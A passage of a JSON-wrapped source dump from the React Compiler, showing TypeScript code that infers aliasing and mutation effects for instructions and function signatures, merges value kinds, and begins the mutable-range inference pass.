value.props) {\n          if (\n            prop.kind === 'JsxAttribute' &&\n            prop.place.identifier.type.kind === 'Function' &&\n            (isJsxType(prop.place.identifier.type.return) ||\n              (prop.place.identifier.type.return.kind === 'Phi' &&\n                prop.place.identifier.type.return.operands.some(operand =>\n                  isJsxType(operand),\n                )))\n          ) {\n            // Any props which return jsx are assumed to be called during render\n            effects.push({\n              kind: 'Render',\n              place: prop.place,\n            });\n          }\n        }\n      }\n      break;\n    }\n    case 'DeclareLocal': {\n      // TODO check this\n      effects.push({\n        kind: 'Create',\n        into: value.lvalue.place,\n        // TODO: what kind here???\n        value: ValueKind.Primitive,\n        reason: ValueReason.Other,\n      });\n      effects.push({\n        kind: 'Create',\n        into: lvalue,\n        // TODO: what kind here???\n        value: ValueKind.Primitive,\n        reason: ValueReason.Other,\n      });\n      break;\n    }\n    case 'Destructure': {\n      for (const patternItem of eachPatternItem(value.lvalue.pattern)) {\n        const place =\n          patternItem.kind === 'Identifier' ? patternItem : patternItem.place;\n        if (isPrimitiveType(place.identifier)) {\n          effects.push({\n            kind: 'Create',\n            into: place,\n            value: ValueKind.Primitive,\n            reason: ValueReason.Other,\n          });\n        } else if (patternItem.kind === 'Identifier') {\n          effects.push({\n            kind: 'CreateFrom',\n            from: value.value,\n            into: place,\n          });\n        } else {\n          // Spread creates a new object/array that captures from the RValue\n          effects.push({\n            kind: 'Create',\n            into: place,\n            reason: ValueReason.Other,\n            value: context.nonMutatingSpreads.has(place.identifier.id)\n              ? ValueKind.Frozen\n              : ValueKind.Mutable,\n          });\n          effects.push({\n            kind: 'Capture',\n            from: value.value,\n            into: place,\n          });\n        }\n      }\n      effects.push({kind: 'Assign', from: value.value, into: lvalue});\n      break;\n    }\n    case 'LoadContext': {\n      /*\n       * Context variables are like mutable boxes. Loading from one\n       * is equivalent to a PropertyLoad from the box, so we model it\n       * with the same effect we use there (CreateFrom)\n       */\n      effects.push({kind: 'CreateFrom', from: value.place, into: lvalue});\n      break;\n    }\n    case 'DeclareContext': {\n      // Context variables are conceptually like mutable boxes\n      const kind = value.lvalue.kind;\n      if (\n        !context.hoistedContextDeclarations.has(\n          value.lvalue.place.identifier.declarationId,\n        ) ||\n        kind === InstructionKind.HoistedConst ||\n        kind === InstructionKind.HoistedFunction ||\n        kind === InstructionKind.HoistedLet\n      ) {\n        /**\n         * If this context variable is not hoisted, or this is the declaration doing the hoisting,\n         * then we create the box.\n         */\n        effects.push({\n          kind: 'Create',\n          into: value.lvalue.place,\n          value: ValueKind.Mutable,\n          reason: ValueReason.Other,\n        });\n      } else {\n        /**\n         * Otherwise this may be a \"declare\", but there was a previous DeclareContext that\n         * hoisted this variable, and we're mutating it here.\n         */\n        effects.push({kind: 'Mutate', value: value.lvalue.place});\n      }\n      effects.push({\n        kind: 'Create',\n        into: lvalue,\n        // The result can't be referenced so this value doesn't matter\n        value: ValueKind.Primitive,\n        reason: ValueReason.Other,\n      });\n      break;\n    }\n    case 'StoreContext': {\n      /*\n       * Context variables are like mutable boxes, so semantically\n       * we're either creating (let/const) or mutating (reassign) a box,\n       * and then capturing the value into it.\n       */\n      if (\n        value.lvalue.kind === InstructionKind.Reassign ||\n        context.hoistedContextDeclarations.has(\n          value.lvalue.place.identifier.declarationId,\n        )\n      ) {\n        effects.push({kind: 'Mutate', value: value.lvalue.place});\n      } else {\n        effects.push({\n          kind: 'Create',\n          into: value.lvalue.place,\n          value: ValueKind.Mutable,\n          reason: ValueReason.Other,\n        });\n      }\n      effects.push({\n        kind: 'Capture',\n        from: value.value,\n        into: value.lvalue.place,\n      });\n      effects.push({kind: 'Assign', from: value.value, into: lvalue});\n      break;\n    }\n    case 'LoadLocal': {\n      effects.push({kind: 'Assign', from: value.place, into: lvalue});\n      break;\n    }\n    case 'StoreLocal': {\n      effects.push({\n        kind: 'Assign',\n        from: value.value,\n        into: value.lvalue.place,\n      });\n      effects.push({kind: 'Assign', from: value.value, into: lvalue});\n      break;\n    }\n    case 'PostfixUpdate':\n    case 'PrefixUpdate': {\n      effects.push({\n        kind: 'Create',\n        into: lvalue,\n        value: ValueKind.Primitive,\n        reason: ValueReason.Other,\n      });\n      effects.push({\n        kind: 'Create',\n        into: value.lvalue,\n        value: ValueKind.Primitive,\n        reason: ValueReason.Other,\n      });\n      break;\n    }\n    case 'StoreGlobal': {\n      const variable = `\\`${value.name}\\``;\n      effects.push({\n        kind: 'MutateGlobal',\n        place: value.value,\n        error: CompilerDiagnostic.create({\n          category: ErrorCategory.Globals,\n          reason:\n            'Cannot reassign variables declared outside of the component/hook',\n          description: `Variable ${variable} is declared outside of the component/hook. Reassigning this value during render is a form of side effect, which can cause unpredictable behavior depending on when the component happens to re-render. If this variable is used in rendering, use useState instead. Otherwise, consider updating it in an effect. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#side-effects-must-run-outside-of-render)`,\n        }).withDetails({\n          kind: 'error',\n          loc: instr.loc,\n          message: `${variable} cannot be reassigned`,\n        }),\n      });\n      effects.push({kind: 'Assign', from: value.value, into: lvalue});\n      break;\n    }\n    case 'TypeCastExpression': {\n      effects.push({kind: 'Assign', from: value.value, into: lvalue});\n      break;\n    }\n    case 'LoadGlobal': {\n      effects.push({\n        kind: 'Create',\n        into: lvalue,\n        value: ValueKind.Global,\n        reason: ValueReason.Global,\n      });\n      break;\n    }\n    case 'StartMemoize':\n    case 'FinishMemoize': {\n      if (env.config.enablePreserveExistingMemoizationGuarantees) {\n        for (const operand of eachInstructionValueOperand(value)) {\n          effects.push({\n            kind: 'Freeze',\n            value: operand,\n            reason: ValueReason.HookCaptured,\n          });\n        }\n      }\n      effects.push({\n        kind: 'Create',\n        into: lvalue,\n        value: ValueKind.Primitive,\n        reason: ValueReason.Other,\n      });\n      break;\n    }\n    case 'TaggedTemplateExpression':\n    case 'BinaryExpression':\n    case 'Debugger':\n    case 'JSXText':\n    case 'MetaProperty':\n    case 'Primitive':\n    case 'RegExpLiteral':\n    case 'TemplateLiteral':\n    case 'UnaryExpression':\n    case 'UnsupportedNode': {\n      effects.push({\n        kind: 'Create',\n        into: lvalue,\n        value: ValueKind.Primitive,\n        reason: ValueReason.Other,\n      });\n      break;\n    }\n  }\n  return {\n    effects,\n  };\n}\n\n/**\n * Creates a set of aliasing effects given a legacy FunctionSignature. This makes all of the\n * old implicit behaviors from the signatures and InferReferenceEffects explicit, see comments\n * in the body for details.\n *\n * The goal of this method is to make it easier to migrate incrementally to the new system,\n * so we don't have to immediately write new signatures for all the methods to get expected\n * compilation output.\n */\nfunction computeEffectsForLegacySignature(\n  state: InferenceState,\n  signature: FunctionSignature,\n  lvalue: Place,\n  receiver: Place,\n  args: Array<Place | SpreadPattern | Hole>,\n  loc: SourceLocation,\n): Array<AliasingEffect> {\n  const returnValueReason = signature.returnValueReason ?? ValueReason.Other;\n  const effects: Array<AliasingEffect> = [];\n  effects.push({\n    kind: 'Create',\n    into: lvalue,\n    value: signature.returnValueKind,\n    reason: returnValueReason,\n  });\n  if (signature.impure && state.env.config.validateNoImpureFunctionsInRender) {\n    effects.push({\n      kind: 'Impure',\n      place: receiver,\n      error: CompilerDiagnostic.create({\n        category: ErrorCategory.Purity,\n        reason: 'Cannot call impure function during render',\n        description:\n          (signature.canonicalName != null\n            ? `\\`${signature.canonicalName}\\` is an impure function. `\n            : '') +\n          'Calling an impure function can produce unstable results that update unpredictably when the component happens to re-render. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#components-and-hooks-must-be-idempotent)',\n      }).withDetails({\n        kind: 'error',\n        loc,\n        message: 'Cannot call impure function',\n      }),\n    });\n  }\n  if (signature.knownIncompatible != null && state.env.enableValidations) {\n    const errors = new CompilerError();\n    errors.pushDiagnostic(\n      CompilerDiagnostic.create({\n        category: ErrorCategory.IncompatibleLibrary,\n        reason: 'Use of incompatible library',\n        description: [\n          'This API returns functions which cannot be memoized without leading to stale UI. ' +\n            'To prevent this, by default React Compiler will skip memoizing this component/hook. ' +\n            'However, you may see issues if values from this API are passed to other components/hooks that are ' +\n            'memoized',\n        ].join(''),\n      }).withDetails({\n        kind: 'error',\n        loc: receiver.loc,\n        message: signature.knownIncompatible,\n      }),\n    );\n    throw errors;\n  }\n  const stores: Array<Place> = [];\n  const captures: Array<Place> = [];\n  function visit(place: Place, effect: Effect): void {\n    switch (effect) {\n      case Effect.Store: {\n        effects.push({\n          kind: 'Mutate',\n          value: place,\n        });\n        stores.push(place);\n        break;\n      }\n      case Effect.Capture: {\n        captures.push(place);\n        break;\n      }\n      case Effect.ConditionallyMutate: {\n        effects.push({\n          kind: 'MutateTransitiveConditionally',\n          value: place,\n        });\n        break;\n      }\n      case Effect.ConditionallyMutateIterator: {\n        const mutateIterator = conditionallyMutateIterator(place);\n        if (mutateIterator != null) {\n          effects.push(mutateIterator);\n        }\n        effects.push({\n          kind: 'Capture',\n          from: place,\n          into: lvalue,\n        });\n        break;\n      }\n      case Effect.Freeze: {\n        effects.push({\n          kind: 'Freeze',\n          value: place,\n          reason: returnValueReason,\n        });\n        break;\n      }\n      case Effect.Mutate: {\n        effects.push({kind: 'MutateTransitive', value: place});\n        break;\n      }\n      case Effect.Read: {\n        effects.push({\n          kind: 'ImmutableCapture',\n          from: place,\n          into: lvalue,\n        });\n        break;\n      }\n    }\n  }\n\n  if (\n    signature.mutableOnlyIfOperandsAreMutable &&\n    areArgumentsImmutableAndNonMutating(state, args)\n  ) {\n    effects.push({\n      kind: 'Alias',\n      from: receiver,\n      into: lvalue,\n    });\n    for (const arg of args) {\n      if (arg.kind === 'Hole') {\n        continue;\n      }\n      const place = arg.kind === 'Identifier' ? arg : arg.place;\n      effects.push({\n        kind: 'ImmutableCapture',\n        from: place,\n        into: lvalue,\n      });\n    }\n    return effects;\n  }\n\n  if (signature.calleeEffect !== Effect.Capture) {\n    /*\n     * InferReferenceEffects and FunctionSignature have an implicit assumption that the receiver\n     * is captured into the return value. Consider for example the signature for Array.proto.pop:\n     * the calleeEffect is Store, since it's a known mutation but non-transitive. But the return\n     * of the pop() captures from the receiver! This isn't specified explicitly. So we add this\n     * here, and rely on applySignature() to downgrade this to ImmutableCapture (or prune) if\n     * the type doesn't actually need to be captured based on the input and return type.\n     */\n    effects.push({\n      kind: 'Alias',\n      from: receiver,\n      into: lvalue,\n    });\n  }\n  visit(receiver, signature.calleeEffect);\n  for (let i = 0; i < args.length; i++) {\n    const arg = args[i];\n    if (arg.kind === 'Hole') {\n      continue;\n    }\n    const place = arg.kind === 'Identifier' ? arg : arg.place;\n    const signatureEffect =\n      arg.kind === 'Identifier' && i < signature.positionalParams.length\n        ? signature.positionalParams[i]!\n        : (signature.restParam ?? Effect.ConditionallyMutate);\n    const effect = getArgumentEffect(signatureEffect, arg);\n\n    visit(place, effect);\n  }\n  if (captures.length !== 0) {\n    if (stores.length === 0) {\n      // If no stores, then capture into the return value\n      for (const capture of captures) {\n        effects.push({kind: 'Alias', from: capture, into: lvalue});\n      }\n    } else {\n      // Else capture into the stores\n      for (const capture of captures) {\n        for (const store of stores) {\n          effects.push({kind: 'Capture', from: capture, into: store});\n        }\n      }\n    }\n  }\n  return effects;\n}\n\n/**\n * Returns true if all of the arguments are both non-mutable (immutable or frozen)\n * _and_ are not functions which might mutate their arguments. Note that function\n * expressions count as frozen so long as they do not mutate free variables: this\n * function checks that such functions also don't mutate their inputs.\n */\nfunction areArgumentsImmutableAndNonMutating(\n  state: InferenceState,\n  args: Array<Place | SpreadPattern | Hole>,\n): boolean {\n  for (const arg of args) {\n    if (arg.kind === 'Hole') {\n      continue;\n    }\n    if (arg.kind === 'Identifier' && arg.identifier.type.kind === 'Function') {\n      const fnShape = state.env.getFunctionSignature(arg.identifier.type);\n      if (fnShape != null) {\n        return (\n          !fnShape.positionalParams.some(isKnownMutableEffect) &&\n          (fnShape.restParam == null ||\n            !isKnownMutableEffect(fnShape.restParam))\n        );\n      }\n    }\n    const place = arg.kind === 'Identifier' ? arg : arg.place;\n\n    const kind = state.kind(place).kind;\n    switch (kind) {\n      case ValueKind.Primitive:\n      case ValueKind.Frozen: {\n        /*\n         * Only immutable values, or frozen lambdas are allowed.\n         * A lambda may appear frozen even if it may mutate its inputs,\n         * so we have a second check even for frozen value types\n         */\n        break;\n      }\n      default: {\n        /**\n         * Globals, module locals, and other locally defined functions may\n         * mutate their arguments.\n         */\n        return false;\n      }\n    }\n    const values = state.values(place);\n    for (const value of values) {\n      if (\n        value.kind === 'FunctionExpression' &&\n        value.loweredFunc.func.params.some(param => {\n          const place = param.kind === 'Identifier' ? param : param.place;\n          const range = place.identifier.mutableRange;\n          return range.end > range.start + 1;\n        })\n      ) {\n        // This is a function which may mutate its inputs\n        return false;\n      }\n    }\n  }\n  return true;\n}\n\nfunction computeEffectsForSignature(\n  env: Environment,\n  signature: AliasingSignature,\n  lvalue: Place,\n  receiver: Place,\n  args: Array<Place | SpreadPattern | Hole>,\n  // Used for signatures constructed dynamically which reference context variables\n  context: Array<Place> = [],\n  loc: SourceLocation,\n): Array<AliasingEffect> | null {\n  if (\n    // Not enough args\n    signature.params.length > args.length ||\n    // Too many args and there is no rest param to hold them\n    (args.length > signature.params.length && signature.rest == null)\n  ) {\n    return null;\n  }\n  // Build substitutions\n  const mutableSpreads = new Set<IdentifierId>();\n  const substitutions: Map<IdentifierId, Array<Place>> = new Map();\n  substitutions.set(signature.receiver, [receiver]);\n  substitutions.set(signature.returns, [lvalue]);\n  const params = signature.params;\n  for (let i = 0; i < args.length; i++) {\n    const arg = args[i];\n    if (arg.kind === 'Hole') {\n      continue;\n    } else if (params == null || i >= params.length || arg.kind === 'Spread') {\n      if (signature.rest == null) {\n        return null;\n      }\n      const place = arg.kind === 'Identifier' ? arg : arg.place;\n      getOrInsertWith(substitutions, signature.rest, () => []).push(place);\n\n      if (arg.kind === 'Spread') {\n        const mutateIterator = conditionallyMutateIterator(arg.place);\n        if (mutateIterator != null) {\n          mutableSpreads.add(arg.place.identifier.id);\n        }\n      }\n    } else {\n      const param = params[i];\n      substitutions.set(param, [arg]);\n    }\n  }\n\n  /*\n   * Signatures constructed dynamically from function expressions will reference values\n   * other than their receiver/args/etc. We populate the substitution table with these\n   * values so that we can still exit for unpopulated substitutions\n   */\n  for (const operand of context) {\n    substitutions.set(operand.identifier.id, [operand]);\n  }\n\n  const effects: Array<AliasingEffect> = [];\n  for (const signatureTemporary of signature.temporaries) {\n    const temp = createTemporaryPlace(env, receiver.loc);\n    substitutions.set(signatureTemporary.identifier.id, [temp]);\n  }\n\n  // Apply substitutions\n  for (const effect of signature.effects) {\n    switch (effect.kind) {\n      case 'MaybeAlias':\n      case 'Assign':\n      case 'ImmutableCapture':\n      case 'Alias':\n      case 'CreateFrom':\n      case 'Capture': {\n        const from = substitutions.get(effect.from.identifier.id) ?? [];\n        const to = substitutions.get(effect.into.identifier.id) ?? [];\n        for (const fromId of from) {\n          for (const toId of to) {\n            effects.push({\n              kind: effect.kind,\n              from: fromId,\n              into: toId,\n            });\n          }\n        }\n        break;\n      }\n      case 'Impure':\n      case 'MutateFrozen':\n      case 'MutateGlobal': {\n        const values = substitutions.get(effect.place.identifier.id) ?? [];\n        for (const value of values) {\n          effects.push({kind: effect.kind, place: value, error: effect.error});\n        }\n        break;\n      }\n      case 'Render': {\n        const values = substitutions.get(effect.place.identifier.id) ?? [];\n        for (const value of values) {\n          effects.push({kind: effect.kind, place: value});\n        }\n        break;\n      }\n      case 'Mutate':\n      case 'MutateTransitive':\n      case 'MutateTransitiveConditionally':\n      case 'MutateConditionally': {\n        const values = substitutions.get(effect.value.identifier.id) ?? [];\n        for (const id of values) {\n          effects.push({kind: effect.kind, value: id});\n        }\n        break;\n      }\n      case 'Freeze': {\n        const values = substitutions.get(effect.value.identifier.id) ?? [];\n        for (const value of values) {\n          if (mutableSpreads.has(value.identifier.id)) {\n            CompilerError.throwTodo({\n              reason: 'Support spread syntax for hook arguments',\n              loc: value.loc,\n            });\n          }\n          effects.push({kind: 'Freeze', value, reason: effect.reason});\n        }\n        break;\n      }\n      case 'Create': {\n        const into = substitutions.get(effect.into.identifier.id) ?? [];\n        for (const value of into) {\n          effects.push({\n            kind: 'Create',\n            into: value,\n            value: effect.value,\n            reason: effect.reason,\n          });\n        }\n        break;\n      }\n      case 'Apply': {\n        const applyReceiver = substitutions.get(effect.receiver.identifier.id);\n        if (applyReceiver == null || applyReceiver.length !== 1) {\n          return null;\n        }\n        const applyFunction = substitutions.get(effect.function.identifier.id);\n        if (applyFunction == null || applyFunction.length !== 1) {\n          return null;\n        }\n        const applyInto = substitutions.get(effect.into.identifier.id);\n        if (applyInto == null || applyInto.length !== 1) {\n          return null;\n        }\n        const applyArgs: Array<Place | SpreadPattern | Hole> = [];\n        for (const arg of effect.args) {\n          if (arg.kind === 'Hole') {\n            applyArgs.push(arg);\n          } else if (arg.kind === 'Identifier') {\n            const applyArg = substitutions.get(arg.identifier.id);\n            if (applyArg == null || applyArg.length !== 1) {\n              return null;\n            }\n            applyArgs.push(applyArg[0]);\n          } else {\n            const applyArg = substitutions.get(arg.place.identifier.id);\n            if (applyArg == null || applyArg.length !== 1) {\n              return null;\n            }\n            applyArgs.push({kind: 'Spread', place: applyArg[0]});\n          }\n        }\n        effects.push({\n          kind: 'Apply',\n          mutatesFunction: effect.mutatesFunction,\n          receiver: applyReceiver[0],\n          args: applyArgs,\n          function: applyFunction[0],\n          into: applyInto[0],\n          signature: effect.signature,\n          loc,\n        });\n        break;\n      }\n      case 'CreateFunction': {\n        CompilerError.throwTodo({\n          reason: `Support CreateFrom effects in signatures`,\n          loc: receiver.loc,\n        });\n      }\n      default: {\n        assertExhaustive(\n          effect,\n          `Unexpected effect kind '${(effect as any).kind}'`,\n        );\n      }\n    }\n  }\n  return effects;\n}\n\nfunction buildSignatureFromFunctionExpression(\n  env: Environment,\n  fn: FunctionExpression,\n): AliasingSignature {\n  let rest: IdentifierId | null = null;\n  const params: Array<IdentifierId> = [];\n  for (const param of fn.loweredFunc.func.params) {\n    if (param.kind === 'Identifier') {\n      params.push(param.identifier.id);\n    } else {\n      rest = param.place.identifier.id;\n    }\n  }\n  return {\n    receiver: makeIdentifierId(0),\n    params,\n    rest: rest ?? createTemporaryPlace(env, fn.loc).identifier.id,\n    returns: fn.loweredFunc.func.returns.identifier.id,\n    effects: fn.loweredFunc.func.aliasingEffects ?? [],\n    temporaries: [],\n  };\n}\n\nexport type AbstractValue = {\n  kind: ValueKind;\n  reason: ReadonlySet<ValueReason>;\n};\n\nexport function getWriteErrorReason(abstractValue: AbstractValue): string {\n  if (abstractValue.reason.has(ValueReason.Global)) {\n    return 'Modifying a variable defined outside a component or hook is not allowed. Consider using an effect';\n  } else if (abstractValue.reason.has(ValueReason.JsxCaptured)) {\n    return 'Modifying a value used previously in JSX is not allowed. Consider moving the modification before the JSX';\n  } else if (abstractValue.reason.has(ValueReason.Context)) {\n    return `Modifying a value returned from 'useContext()' is not allowed.`;\n  } else if (abstractValue.reason.has(ValueReason.KnownReturnSignature)) {\n    return 'Modifying a value returned from a function whose return value should not be mutated';\n  } else if (abstractValue.reason.has(ValueReason.ReactiveFunctionArgument)) {\n    return 'Modifying component props or hook arguments is not allowed. Consider using a local variable instead';\n  } else if (abstractValue.reason.has(ValueReason.State)) {\n    return \"Modifying a value returned from 'useState()', which should not be modified directly. Use the setter function to update instead\";\n  } else if (abstractValue.reason.has(ValueReason.ReducerState)) {\n    return \"Modifying a value returned from 'useReducer()', which should not be modified directly. Use the dispatch function to update instead\";\n  } else if (abstractValue.reason.has(ValueReason.Effect)) {\n    return 'Modifying a value used previously in an effect function or as an effect dependency is not allowed. Consider moving the modification before calling useEffect()';\n  } else if (abstractValue.reason.has(ValueReason.HookCaptured)) {\n    return 'Modifying a value previously passed as an argument to a hook is not allowed. Consider moving the modification before calling the hook';\n  } else if (abstractValue.reason.has(ValueReason.HookReturn)) {\n    return 'Modifying a value returned from a hook is not allowed. Consider moving the modification into the hook where the value is constructed';\n  } else {\n    return 'This modifies a variable that React considers immutable';\n  }\n}\n\nfunction getArgumentEffect(\n  signatureEffect: Effect | null,\n  arg: Place | SpreadPattern,\n): Effect {\n  if (signatureEffect != null) {\n    if (arg.kind === 'Identifier') {\n      return signatureEffect;\n    } else if (\n      signatureEffect === Effect.Mutate ||\n      signatureEffect === Effect.ConditionallyMutate\n    ) {\n      return signatureEffect;\n    } else {\n      // see call-spread-argument-mutable-iterator test fixture\n      if (signatureEffect === Effect.Freeze) {\n        CompilerError.throwTodo({\n          reason: 'Support spread syntax for hook arguments',\n          loc: arg.place.loc,\n        });\n      }\n      // effects[i] is Effect.Capture | Effect.Read | Effect.Store\n      return Effect.ConditionallyMutateIterator;\n    }\n  } else {\n    return Effect.ConditionallyMutate;\n  }\n}\n\nexport function getFunctionCallSignature(\n  env: Environment,\n  type: Type,\n): FunctionSignature | null {\n  if (type.kind !== 'Function') {\n    return null;\n  }\n  return env.getFunctionSignature(type);\n}\n\nexport function isKnownMutableEffect(effect: Effect): boolean {\n  switch (effect) {\n    case Effect.Store:\n    case Effect.ConditionallyMutate:\n    case Effect.ConditionallyMutateIterator:\n    case Effect.Mutate: {\n      return true;\n    }\n\n    case Effect.Unknown: {\n      CompilerError.invariant(false, {\n        reason: 'Unexpected unknown effect',\n        loc: GeneratedSource,\n      });\n    }\n    case Effect.Read:\n    case Effect.Capture:\n    case Effect.Freeze: {\n      return false;\n    }\n    default: {\n      assertExhaustive(effect, `Unexpected effect \\`${effect}\\``);\n    }\n  }\n}\n\n/**\n * Joins two values using the following rules:\n * == Effect Transitions ==\n *\n * Freezing an immutable value has not effect:\n *                ┌───────────────┐\n *                │               │\n *                ▼               │ Freeze\n * ┌──────────────────────────┐  │\n * │        Immutable         │──┘\n * └──────────────────────────┘\n *\n * Freezing a mutable or maybe-frozen value makes it frozen. Freezing a frozen\n * value has no effect:\n *                                                     ┌───────────────┐\n * ┌─────────────────────────┐     Freeze             │               │\n * │       MaybeFrozen       │────┐                   ▼               │ Freeze\n * └─────────────────────────┘    │     ┌──────────────────────────┐  │\n *                                 ├────▶│          Frozen          │──┘\n *                                 │     └──────────────────────────┘\n * ┌─────────────────────────┐    │\n * │         Mutable         │────┘\n * └─────────────────────────┘\n *\n * == Join Lattice ==\n * - immutable | mutable => mutable\n *     The justification is that immutable and mutable values are different types,\n *     and functions can introspect them to tell the difference (if the argument\n *     is null return early, else if its an object mutate it).\n * - frozen | mutable => maybe-frozen\n *     Frozen values are indistinguishable from mutable values at runtime, so callers\n *     cannot dynamically avoid mutation of \"frozen\" values. If a value could be\n *     frozen we have to distinguish it from a mutable value. But it also isn't known\n *     frozen yet, so we distinguish as maybe-frozen.\n * - immutable | frozen => frozen\n *     This is subtle and falls out of the above rules. If a value could be any of\n *     immutable, mutable, or frozen, then at runtime it could either be a primitive\n *     or a reference type, and callers can't distinguish frozen or not for reference\n *     types. To ensure that any sequence of joins btw those three states yields the\n *     correct maybe-frozen, these two have to produce a frozen value.\n * - <any> | maybe-frozen => maybe-frozen\n * - immutable | context => context\n * - mutable | context => context\n * - frozen | context => maybe-frozen\n *\n * ┌──────────────────────────┐\n * │        Immutable         │───┐\n * └──────────────────────────┘   │\n *                                 │    ┌─────────────────────────┐\n *                                 ├───▶│         Frozen          │──┐\n * ┌──────────────────────────┐   │    └─────────────────────────┘  │\n * │          Frozen          │───┤                                 │  ┌─────────────────────────┐\n * └──────────────────────────┘   │                                 ├─▶│       MaybeFrozen       │\n *                                 │    ┌─────────────────────────┐  │  └─────────────────────────┘\n *                                 ├───▶│       MaybeFrozen       │──┘\n * ┌──────────────────────────┐   │    └─────────────────────────┘\n * │         Mutable          │───┘\n * └──────────────────────────┘\n */\nfunction mergeValueKinds(a: ValueKind, b: ValueKind): ValueKind {\n  if (a === b) {\n    return a;\n  } else if (a === ValueKind.MaybeFrozen || b === ValueKind.MaybeFrozen) {\n    return ValueKind.MaybeFrozen;\n    // after this a and b differ and neither are MaybeFrozen\n  } else if (a === ValueKind.Mutable || b === ValueKind.Mutable) {\n    if (a === ValueKind.Frozen || b === ValueKind.Frozen) {\n      // frozen | mutable\n      return ValueKind.MaybeFrozen;\n    } else if (a === ValueKind.Context || b === ValueKind.Context) {\n      // context | mutable\n      return ValueKind.Context;\n    } else {\n      // mutable | immutable\n      return ValueKind.Mutable;\n    }\n  } else if (a === ValueKind.Context || b === ValueKind.Context) {\n    if (a === ValueKind.Frozen || b === ValueKind.Frozen) {\n      // frozen | context\n      return ValueKind.MaybeFrozen;\n    } else {\n      // context | immutable\n      return ValueKind.Context;\n    }\n  } else if (a === ValueKind.Frozen || b === ValueKind.Frozen) {\n    return ValueKind.Frozen;\n  } else if (a === ValueKind.Global || b === ValueKind.Global) {\n    return ValueKind.Global;\n  } else {\n    CompilerError.invariant(\n      a === ValueKind.Primitive && b == ValueKind.Primitive,\n      {\n        reason: `Unexpected value kind in mergeValues()`,\n        description: `Found kinds ${a} and ${b}`,\n        loc: GeneratedSource,\n      },\n    );\n    return ValueKind.Primitive;\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Inference/InferMutationAliasingRanges.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {CompilerError, SourceLocation} from '..';\nimport {\n  BlockId,\n  Effect,\n  HIRFunction,\n  Identifier,\n  IdentifierId,\n  InstructionId,\n  isJsxType,\n  makeInstructionId,\n  ValueKind,\n  ValueReason,\n  Place,\n  isPrimitiveType,\n} from '../HIR/HIR';\nimport {Environment} from '../HIR/Environment';\nimport {\n  eachInstructionLValue,\n  eachInstructionValueOperand,\n  eachTerminalOperand,\n} from '../HIR/visitors';\nimport {assertExhaustive, getOrInsertWith} from '../Utils/utils';\n\nimport {AliasingEffect, MutationReason} from './AliasingEffects';\n\n/**\n * This pass builds an abstract model of the heap and interprets the effects of the\n * given function in order to determine the following:\n * - The mutable ranges of all identifiers in the function\n * - The externally-visible effects of the function, such as mutations of params and\n *   context-vars, aliasing between params/context-vars/return-value, and impure side\n *   effects.\n * - The legacy `Effect` to store on each Place.\n *\n * This pass builds a data flow graph using the effects, tracking an abstract notion\n * of \"when\" each effect occurs relative to the others. It then walks each mutation\n * effect against the graph, updating the range of each node that would be reachable\n * at the \"time\" that the effect occurred.\n *\n * This pass also validates against invalid effects: any function that is reachable\n * by being called, or via a Render effect, is validated against mutating globals\n * or calling impure code.\n *\n * Note that this function also populates the outer function's aliasing effects with\n * any mutations that apply to its params or context variables.\n *\n * ## Example\n * A function expression such as the following:\n *\n * ```\n * (x) => { x.y = true }\n * ```\n *\n * Would populate a `Mutate x` aliasing effect on the outer function.\n *\n * ## Returned Function Effects\n *\n * The function returns (if successful) a list of externally-visible effects.\n * This is determined by simulating a conditional, transitive mutation against\n * each param, context variable, and return value in turn, and seeing which other\n * such values are affected. If they're affected, they must be captured, so we\n * record a Capture.\n *\n * The only tricky bit is the return value, which could _alias_ (or even assign)\n * one or more of the params/context-vars rather than just capturing. So we have\n * to do a bit more tracking for returns.\n */\nexport function inferMutationAliasingRanges(\n  fn: HIRFunction,\n  {isFunctionExpression}: {isFunctionExpression: boolean},\n): Array<AliasingEffect> {\n  // The set of externally-visible effects\n  const functionEffects: Array<AliasingEffect> = [];\n\n  /**\n   * Part 1: Infer mutable ranges for values. We build an abstract model of\n   * values, the alias/capture edges between them, and the set of mutations.\n   * Edges and mutations are ordered, with mutations processed against the\n   * abstract model only after it is fully constructed by visiting all blocks\n   * _and_ connecting phis. Phis are considered ordered at the time of the\n   * phi node.\n   *\n   * This should (may?) mean that mutations are able to see the full state\n   * of the graph and mark all the appropriate identifiers as mutated at\n   * the correct point, accounting for both backward and forward edges.\n   * Ie a mutation of x accounts for both values that flowed into x,\n   * and values that x flowed into.\n   */\n  const state = new AliasingState();\n  type PendingPhiOperand = {from: Place; into: Place; index: number};\n  const pendingPhis = new Map<BlockId, Array<PendingPhiOperand>>();\n  const mutations: Array<{\n    index: number;\n    id: InstructionId;\n    transitive: boolean;\n    kind: MutationKind;\n    place: Place;\n    reason: MutationReason | null;\n  }> = [];\n  const renders: Array<{index: number; place: Place}> = [];\n\n  let index = 0;\n\n  const shouldRecordErrors = !isFunctionExpression && fn.env.enableValidations;\n\n  for (const param of [...fn.params, ...fn.context, fn.returns]) {\n    const place = param.kind === 'Identifier' ? param : param.place;\n    state.create(place, {kind: 'Object'});\n  }\n  const seenBlocks = new Set<BlockId>();\n  for (const block of fn.body.blocks.values()) {\n    for (const phi of block.phis) {\n      state.create(phi.place, {kind: 'Phi'});\n      for (const [pred, operand] of phi.operands) {\n        if (!seenBlocks.has(pred)) {\n          // NOTE: annotation required to actually typecheck and not silently infer `any`\n          const blockPhis = getOrInsertWith<BlockId, Array<PendingPhiOperand>>(\n            pendingPhis,\n            pred,\n            () => [],\n          );\n          blockPhis.push({from: operand, into: phi.place, index: index++});\n        } else {\n          state.assign(index++, operand, phi.place);\n        }\n      }\n    }\n    seenBlocks.add(block.id);\n\n    for (const instr of block.instructions) {\n      if (instr.effects == null) continue;\n      for (const effect of instr.effects) {\n        if (effect.kind === 'Create') {\n          state.create(effect.into, {kind: 'Object'});\n        } else if (effect.kind === 'CreateFunction') {\n          state.create(effect.into, {\n            kind: 'Function',\n            function: effect.function.loweredFunc.func,\n          });\n        } else if (effect.kind === 'CreateFrom') {\n          state.createFrom(index++, effect.from, effect.into);\n        } else if (effect.kind === 'Assign') {\n          /**\n           * TODO: Invariant that the node is not initialized yet\n           *\n           * InferFunctionExpressionAliasingEffectSignatures currently infers\n           * Assign effects in some places that should be Alias, leading to\n           * Assign effects that reinitialize a value. The end result appears 